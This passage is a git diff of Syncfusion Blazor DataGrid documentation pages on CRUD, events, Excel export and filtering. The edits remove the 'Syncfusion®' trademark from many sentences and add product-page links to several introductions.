-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables seamless CRUD (Create, Read, Update and Delete) operations directly with `IQueryable` data from a database without requiring additional data adaptors. This functionality can be implemented using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property of the Grid and handling the necessary CRUD actions through Grid events such as [RowUpdated](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdated)and [RowDeleting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDeleting).
+The Blazor DataGrid enables seamless CRUD (Create, Read, Update and Delete) operations directly with `IQueryable` data from a database without requiring additional data adaptors. This functionality can be implemented using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property of the Grid and handling the necessary CRUD actions through Grid events such as [RowUpdated](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdated)and [RowDeleting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDeleting).
 
 ### Create an interface layer to the database
 
@@ -1724,7 +1724,7 @@ namespace LibraryManagement.Models
 
 ### Configure the DataGrid to perform CRUD actions using Blazor DataGrid events
 
-To synchronize CRUD (Create, Read, Update, and Delete) operations between the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and a backend data source, handle the relevant Grid events explicitly. Since data is bound to the Grid using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property, backend updates must be performed manually in response to user interactions.
+To synchronize CRUD (Create, Read, Update, and Delete) operations between the Blazor DataGrid and a backend data source, handle the relevant Grid events explicitly. Since data is bound to the Grid using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property, backend updates must be performed manually in response to user interactions.
 
 * [RowUpdated](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdated): Triggered when a record is added or edited. This event can be used to insert or update the corresponding record in the database.
 * [RowDeleting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDeleting): Triggered when a record is deleted. This event can be used to remove the corresponding record from the database.
diff --git a/blazor/datagrid/events.md b/blazor/datagrid/events.md
index 6355f7bff4..99d4e088e2 100644
--- a/blazor/datagrid/events.md
+++ b/blazor/datagrid/events.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Events in Blazor DataGrid
 
-This section lists the events available in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and when they are triggered for various Grid actions.
+This section lists the events available in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) and when they are triggered for various Grid actions.
 
 Events are assigned to the Grid by using a single **GridEvents** component. When configuring Grid events, specify the generic type via the **TValue** parameter to match the Grid’s data model.
 
diff --git a/blazor/datagrid/excel-export-options.md b/blazor/datagrid/excel-export-options.md
index b6f0719900..877d1d9d09 100644
--- a/blazor/datagrid/excel-export-options.md
+++ b/blazor/datagrid/excel-export-options.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Excel export options in Blazor DataGrid 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customization of Excel and CSV export functionality. This flexibility enables precise control over the exported content and layout to meet specific requirements.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) allows customization of Excel and CSV export functionality. This flexibility enables precise control over the exported content and layout to meet specific requirements.
 
 The export behavior can be customized using the [ExcelExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html) property. This property supports various options, including:
 
@@ -25,7 +25,7 @@ The export behavior can be customized using the [ExcelExportProperties](https://
 
 ## Export current page records
 
-Exporting the current page records from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables generating Excel or CSV documents that reflect only the data currently visible in the Grid. This approach is suitable when the intent is to capture a snapshot of the paginated view rather than the entire dataset.
+Exporting the current page records from the Blazor DataGrid enables generating Excel or CSV documents that reflect only the data currently visible in the Grid. This approach is suitable when the intent is to capture a snapshot of the paginated view rather than the entire dataset.
 
 To configure this behavior, handle the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event and invoke the [ExportToExcelAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToExcelAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) method with the [ExportType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html#Syncfusion_Blazor_Grids_ExcelExportProperties_ExportType)  property set in the [ExcelExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html) object. The available options include:
 
@@ -138,7 +138,7 @@ public class EmployeeData
 
 ## Export the selected records 
 
-Exporting selected records from the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables generating Excel or CSV documents that include only specific data. This approach supports focused exports based on selection.
+Exporting selected records from the Blazor DataGrid enables generating Excel or CSV documents that include only specific data. This approach supports focused exports based on selection.
 
 To export selected records:
 
@@ -239,7 +239,7 @@ public class OrderData
 
 ## Exporting grouped records
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting grouped records with outline formatting, allowing detailed rows to be collapsed for improved readability in the exported Excel document. This approach preserves the grouping structure and is suitable for sharing grouped data.
+The Blazor DataGrid supports exporting grouped records with outline formatting, allowing detailed rows to be collapsed for improved readability in the exported Excel document. This approach preserves the grouping structure and is suitable for sharing grouped data.
 
 To enable grouped record export:
 
@@ -336,13 +336,13 @@ public class OrderData
 
 ## Limitations
 
-Microsoft Excel supports a maximum of seven nested outline levels. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can export up to seven levels of grouped records with outline formatting. If the grouping exceeds this limit, the exported document will not include outline structures.
+Microsoft Excel supports a maximum of seven nested outline levels. The Blazor DataGrid can export up to seven levels of grouped records with outline formatting. If the grouping exceeds this limit, the exported document will not include outline structures.
 
 Refer to the [Microsoft Excel](https://learn.microsoft.com/en-us/sql/reporting-services/report-builder/exporting-to-microsoft-excel-report-builder-and-ssrs?view=sql-server-2017#ExcelLimitations) limitations for more details.
 
 ## Export with hidden columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting columns that are hidden in the UI but required in the exported Excel or CSV document. This approach helps include important data in the exported file without showing it in the Grid.
+The Blazor DataGrid supports exporting columns that are hidden in the UI but required in the exported Excel or CSV document. This approach helps include important data in the exported file without showing it in the Grid.
 
 To include hidden columns in the export:
 
@@ -453,7 +453,7 @@ public class OrderData
 
 ## Show or hide columns while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows showing or hiding specific columns during export. This helps include only the required data in the Excel or CSV file.
+The Blazor DataGrid allows showing or hiding specific columns during export. This helps include only the required data in the Excel or CSV file.
 
 To configure column visibility during export:
 
@@ -565,7 +565,7 @@ public class OrderData
 
 ## Define file name
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports assigning a custom file name when exporting data to Excel or CSV formats. This capability helps generate descriptive file names, improving the organization and identification of exported documents.
+The Blazor DataGrid supports assigning a custom file name when exporting data to Excel or CSV formats. This capability helps generate descriptive file names, improving the organization and identification of exported documents.
 
 To configure a custom file name, set the [FileName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html#Syncfusion_Blazor_Grids_ExcelExportProperties_FileName) property of the [ExcelExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html) class within the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event. Use this configuration as a parameter in the [ExportToExcelAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToExcelAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) or [ExportToCsvAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToCsvAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) method to initiate the export process with the specified file name.
 
@@ -670,7 +670,7 @@ public class OrderData
 
 ## Customizing columns on export
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing which columns appear in the exported Excel or CSV file. This helps adjust column headers, alignment, and formatting based on export requirements.
+The Blazor DataGrid allows customizing which columns appear in the exported Excel or CSV file. This helps adjust column headers, alignment, and formatting based on export requirements.
 
 To customize columns during export:
 
@@ -778,7 +778,7 @@ public class OrderData
 
 ## Font and color customization
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports applying font and color styles to the exported Excel or CSV document. This helps maintain a consistent and readable appearance for exported data.
+The Blazor DataGrid supports applying font and color styles to the exported Excel or CSV document. This helps maintain a consistent and readable appearance for exported data.
 
 To apply styling:
 
@@ -899,7 +899,7 @@ public class OrderData
 
 ## Customizing the background color for a Grid in an exported Excel or CSV document
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the background color of Grid content—such as header, record, and caption rows—when exporting to Excel or CSV formats. This improves readability and enhances the visual appearance of exported files.
+The Blazor DataGrid allows customizing the background color of Grid content—such as header, record, and caption rows—when exporting to Excel or CSV formats. This improves readability and enhances the visual appearance of exported files.
 
 To apply background color:
 
@@ -1019,7 +1019,7 @@ public class OrderData
 
 ## Add additional worksheets to Excel document while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows adding additional worksheets to the exported Excel or CSV document. This is useful for including supplementary information, summaries, or additional datasets alongside the Grid content.
+The Blazor DataGrid allows adding additional worksheets to the exported Excel or CSV document. This is useful for including supplementary information, summaries, or additional datasets alongside the Grid content.
 
 To add additional worksheets during export:
 
@@ -1132,7 +1132,7 @@ public class OrderData
 
 ## Conditional cell formatting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports conditional formatting of cells in the exported Excel document. This feature enables customizing the appearance of specific cells based on values or defined criteria.
+The Blazor DataGrid supports conditional formatting of cells in the exported Excel document. This feature enables customizing the appearance of specific cells based on values or defined criteria.
 
 To apply conditional formatting during export:
 
@@ -1271,7 +1271,7 @@ public class OrderData
 
 ## Adding header and footer in the exported Excel document
 
-The Excel or CSV export feature in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports including header and footer content in the exported Excel or CSV document. This feature is useful for adding additional information such as branding, contact details, or summary notes.
+The Excel or CSV export feature in Blazor DataGrid supports including header and footer content in the exported Excel or CSV document. This feature is useful for adding additional information such as branding, contact details, or summary notes.
 
 To include header and footer content:
 
@@ -1517,7 +1517,7 @@ public class OrderData
 
 ## Exporting Grid Data as Stream
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting Grid data as a memory stream, enabling programmatic handling before saving or processing. This includes exporting Grid data as a memory stream, merging multiple memory streams, and converting the memory stream to a file stream for download.
+The Blazor DataGrid supports exporting Grid data as a memory stream, enabling programmatic handling before saving or processing. This includes exporting Grid data as a memory stream, merging multiple memory streams, and converting the memory stream to a file stream for download.
 
 ### Exporting Grid Data as Memory Stream
 
@@ -1688,7 +1688,7 @@ public class OrderData
 
 ### Enable filtering in exported file
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can export data as a memory stream, allowing modification of the Excel workbook before the file is delivered to the client. With the [Syncfusion XlsIO](https://www.nuget.org/packages/Syncfusion.XlsIO.Net.Core/) library, Excel features such as **AutoFilter** can be enabled programmatically so that the exported file opens with filter options already available on each column header.
+The Blazor DataGrid can export data as a memory stream, allowing modification of the Excel workbook before the file is delivered to the client. With the [Syncfusion XlsIO](https://www.nuget.org/packages/Syncfusion.XlsIO.Net.Core/) library, Excel features such as **AutoFilter** can be enabled programmatically so that the exported file opens with filter options already available on each column header.
 
 This method is helpful when the exported **Excel** file needs to support data analysis, sorting, and filtering immediately after download, without requiring any additional manual setup.
 
@@ -1784,7 +1784,7 @@ function saveAsFile(filename, bytesBase64) {
 
 ### Converting Memory Stream to File Stream for Excel Export
 
-The Excel Export feature in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows exporting Grid data to an Excel workbook. In scenarios where the exported document needs to be saved as a physical file on the system, the memory stream can be converted into a file stream. This is useful when storing or processing the file outside the browser context.
+The Excel Export feature in Blazor DataGrid allows exporting Grid data to an Excel workbook. In scenarios where the exported document needs to be saved as a physical file on the system, the memory stream can be converted into a file stream. This is useful when storing or processing the file outside the browser context.
 
 To save the exported Excel file locally:
 
diff --git a/blazor/datagrid/excel-exporting.md b/blazor/datagrid/excel-exporting.md
index f5b98dec0a..fc6a01fd9b 100644
--- a/blazor/datagrid/excel-exporting.md
+++ b/blazor/datagrid/excel-exporting.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Excel exporting in Blazor DataGrid
 
-The Excel and CSV exporting feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables exporting Grid data to spreadsheet formats for external analysis or sharing.
+The Excel and CSV exporting feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables exporting Grid data to spreadsheet formats for external analysis or sharing.
 
 To enable Excel export, set the [AllowExcelExport](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowExcelExport) property to **true**. This property activates the export functionality in the Grid.
 
@@ -107,7 +107,7 @@ public class OrderData
 
 ## Show spinner while exporting 
 
-Displaying a spinner during export operations in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a visual indication of progress and improves export feedback.
+Displaying a spinner during export operations in the Blazor DataGrid provides a visual indication of progress and improves export feedback.
 
 To show a spinner during export:
 
@@ -208,7 +208,7 @@ public class OrderData
 
 ## Binding custom data source while exporting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting data to Excel or CSV format using a custom data source. This capability allows exporting data that is not directly bound to the Grid, including data generated or retrieved dynamically.
+The Blazor DataGrid supports exporting data to Excel or CSV format using a custom data source. This capability allows exporting data that is not directly bound to the Grid, including data generated or retrieved dynamically.
 
 To export using a custom data source:
 
@@ -308,7 +308,7 @@ public class OrderData
 
 ## Exporting with custom aggregate
 
-Exporting Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid data with custom aggregates enables inclusion of calculated values in the exported file based on specific conditions. This feature supports enhanced reporting and analysis by incorporating tailored aggregate information.
+Exporting Blazor DataGrid data with custom aggregates enables inclusion of calculated values in the exported file based on specific conditions. This feature supports enhanced reporting and analysis by incorporating tailored aggregate information.
 To export with a custom aggregate:
 
 1. Set the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Type) property of the aggregate column to **Custom**.
@@ -431,7 +431,7 @@ public class OrderData
 
 ## Exporting with custom date format
 
-The exporting functionality in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables exporting Grid data with customized date formats. This capability is useful for generating reports or documents that require specific date representations.
+The exporting functionality in the Blazor DataGrid enables exporting Grid data with customized date formats. This capability is useful for generating reports or documents that require specific date representations.
 
 To export with a custom date format:
 
@@ -525,7 +525,7 @@ public class OrderData
 
 ## Passing additional parameters to the server when exporting
 
-Passing additional parameters to the server during data export in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides flexibility to include extra information or customize the export process based on specific requirements.
+Passing additional parameters to the server during data export in the Blazor DataGrid provides flexibility to include extra information or customize the export process based on specific requirements.
 
 To pass additional parameters during export:
 
diff --git a/blazor/datagrid/excel-like-filter.md b/blazor/datagrid/excel-like-filter.md
index b44d47ec11..7e959587ba 100644
--- a/blazor/datagrid/excel-like-filter.md
+++ b/blazor/datagrid/excel-like-filter.md
@@ -11,7 +11,7 @@ documentation: ug
 
 ## Introduction
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes an Excel-like filter feature that provides an easy-to-use interface for filtering data. This feature mirrors the filtering tools found in Microsoft Excel, making it intuitive for individuals already familiar with that application.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) includes an Excel-like filter feature that provides an easy-to-use interface for filtering data. This feature mirrors the filtering tools found in Microsoft Excel, making it intuitive for individuals already familiar with that application.
 
 Excel-like filtering proves especially valuable when working with large datasets or when complex filtering operations are required for specific columns. This feature enables rapid data refinement to locate required information.
 
@@ -846,7 +846,7 @@ By default, when a filter is applied multiple times to the same column, the new
 
 ## See Also
 
-Comprehensive information about the Syncfusion Blazor DataGrid and its features is available through the following resources:
+Comprehensive information about the Blazor DataGrid and its features is available through the following resources:
 
 * **Feature Overview:** The [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour provides a complete overview of available capabilities.
 * **Interactive Examples:** The [Blazor DataGrid examples](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) provide practical demonstrations of data presentation and manipulation.
diff --git a/blazor/datagrid/filter-bar.md b/blazor/datagrid/filter-bar.md
index 58ae2c3145..5ab7542c67 100644
--- a/blazor/datagrid/filter-bar.md
+++ b/blazor/datagrid/filter-bar.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Filter Bar in Blazor DataGrid
 
-The filter bar feature provides an efficient and intuitive way to filter data within the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component. This feature displays input fields below each column header, enabling straightforward data filtering based on column-specific criteria. The filter bar enhances data exploration by allowing users to narrow down large datasets to display only relevant records.
+The filter bar feature provides an efficient and intuitive way to filter data within the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component. This feature displays input fields below each column header, enabling straightforward data filtering based on column-specific criteria. The filter bar enhances data exploration by allowing users to narrow down large datasets to display only relevant records.
 
 To enable the filter bar, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to **true** on the grid component. This action adds a filter row beneath the column headers, allowing filtering through various expression operators based on the respective column data type.
 
@@ -115,7 +115,7 @@ public class OrderData
 
 ## Filter bar modes
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides two distinct operational modes for the filter bar. These modes determine how and when filtering is executed:
+The Blazor DataGrid provides two distinct operational modes for the filter bar. These modes determine how and when filtering is executed:
 
 * **OnEnter Mode**: Filters are applied only after pressing the **Enter** key, allowing multiple changes before execution
 * **Immediate Mode**: Filters are applied automatically as values are entered, providing real-time results
@@ -235,7 +235,7 @@ public class OrderData
 
 ### Display filter text in pager
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can display active filter information within the pager section. This visibility enhancement allows clear tracking of currently applied filters and their criteria.
+The Blazor DataGrid can display active filter information within the pager section. This visibility enhancement allows clear tracking of currently applied filters and their criteria.
 
 Enable this functionality by setting the [ShowFilterBarStatus](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_ShowFilterBarStatus) property to **true** within the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) configuration.
 
@@ -357,7 +357,7 @@ public class OrderData
 
 ### Disable filter for specific columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports disabling the filter bar for particular columns. Configure the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) object to **false** to restrict filtering for that specific column.
+The Blazor DataGrid supports disabling the filter bar for particular columns. Configure the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) object to **false** to restrict filtering for that specific column.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -435,7 +435,7 @@ public class OrderData
 
 ### Hide filter bar for template column
 
-Template columns in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid do not display filter bars by default. To maintain or further customize the filter behavior for template columns, use the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. This property defines a custom template for the filter bar area of the column.
+Template columns in the Blazor DataGrid do not display filter bars by default. To maintain or further customize the filter behavior for template columns, use the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. This property defines a custom template for the filter bar area of the column.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -519,7 +519,7 @@ public class OrderData
 
 The [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property enables customization of components displayed in the filter bar. By default, the filter bar displays a standard text input field. However, specific filtering scenarios may benefit from alternative components.
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports integration of the following specialized components within the filter bar:
+The Blazor DataGrid supports integration of the following specialized components within the filter bar:
 
 * [DatePicker](https://blazor.syncfusion.com/documentation/datepicker/getting-started) - For date-based filtering
 * [NumericTextBox](https://blazor.syncfusion.com/documentation/numeric-textbox/getting-started) - For numeric value filtering  
diff --git a/blazor/datagrid/filter-menu.md b/blazor/datagrid/filter-menu.md
index e74f4b775f..7cfc317c2b 100644
--- a/blazor/datagrid/filter-menu.md
+++ b/blazor/datagrid/filter-menu.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Filter menu in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid filter menu provides an intuitive interface for filtering data on a per-column basis. It utilizes a pop-up menu that contains a range of filter operators, offering precise control over the displayed data.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) filter menu provides an intuitive interface for filtering data on a per-column basis. It utilizes a pop-up menu that contains a range of filter operators, offering precise control over the displayed data.
 
 To enable the filter menu, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to **true** and the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Type) property of the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) to **Menu**. When enabled, a filter icon appears in the column header, allowing for interactive filtering.
 
@@ -198,7 +198,7 @@ public class OrderData
 
 ## Show 24 hours time format in filter dialog
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying time in 24-hour format within the filter dialog for date or datetime columns. For `DateTime` columns, the filter dialog's time picker defaults to a **12-hour (AM/PM)** format. This can be customized to a 24-hour format.
+The Blazor DataGrid supports displaying time in 24-hour format within the filter dialog for date or datetime columns. For `DateTime` columns, the filter dialog's time picker defaults to a **12-hour (AM/PM)** format. This can be customized to a 24-hour format.
 
 To implement this, define a [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) for the desired [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). Inside the template, use a [DateTimePicker](https://blazor.syncfusion.com/documentation/datetime-picker/getting-started-with-web-app) component and set its `TimeFormat` property to **HH:mm**.
 
@@ -292,7 +292,7 @@ public class OrderData
 
 ## Customizing filter menu operators list
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customization of the default filter operator list using the [FilterDialogOpening](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_FilterDialogOpening) event. This customization is supported for the following data types:
+The Blazor DataGrid allows customization of the default filter operator list using the [FilterDialogOpening](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_FilterDialogOpening) event. This customization is supported for the following data types:
 - String
 - Number
 - Date
@@ -439,7 +439,7 @@ public class OrderData
 
 ## Customize filter input editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customization of the built-in filter dialog editor components using the [FilterEditorSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterEditorSettings) property on the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
+The Blazor DataGrid allows customization of the built-in filter dialog editor components using the [FilterEditorSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterEditorSettings) property on the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
 The following table outlines component configurations customized for specific columns:
 
@@ -740,7 +740,7 @@ To prevent autofill, set the [Autofill](https://help.syncfusion.com/cr/blazor/Sy
 
 ### Hide the filter operator dropdownlist in the filter menu dialog
 
-To hide the operator dropdown in the menu filter dialog of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, apply the following CSS to override the styling of the **.e-flm_optrdiv** class. This customization simplifies the interface by applying a default filter behavior without displaying the operator selection.
+To hide the operator dropdown in the menu filter dialog of the Blazor DataGrid, apply the following CSS to override the styling of the **.e-flm_optrdiv** class. This customization simplifies the interface by applying a default filter behavior without displaying the operator selection.
 
 ```css
     .e-flm_optrdiv {
@@ -832,7 +832,7 @@ public class OrderData
 
 ## Filter by multiple keywords using filter menu
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports filtering based on multiple keywords using the filter menu dialog. This feature allows users to select multiple values for a column, enhancing filtering flexibility.
+The Blazor DataGrid supports filtering based on multiple keywords using the filter menu dialog. This feature allows users to select multiple values for a column, enhancing filtering flexibility.
 
 To enable this functionality, set the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Type) property of the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) to **Menu**, and integrate the [MultiSelect](https://blazor.syncfusion.com/documentation/multiselect-dropdown/getting-started-webapp) component as a custom UI element within the filter menu dialog.
 
@@ -1052,7 +1052,7 @@ public class OrderData
 
 ## Hide default filter icons while perform filtering through method
 
-When performing filtering programmatically using methods in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, the default filter icons in the column headers can be hidden to simplify the interface.
+When performing filtering programmatically using methods in the Blazor DataGrid, the default filter icons in the column headers can be hidden to simplify the interface.
 
 To hide the filter icon in the Grid, apply the CSS style to the filter menu element as shown below:
 
@@ -1124,7 +1124,7 @@ To hide the filter icon in the Grid, apply the CSS style to the filter menu elem
 
 ## Filter menu events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the following events to monitor and customize filter menu interactions:
+The Blazor DataGrid provides the following events to monitor and customize filter menu interactions:
 
 1. [Filtering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Filtering): Triggered before a filtering or clear filtering action is executed. This event allows pre-processing logic.
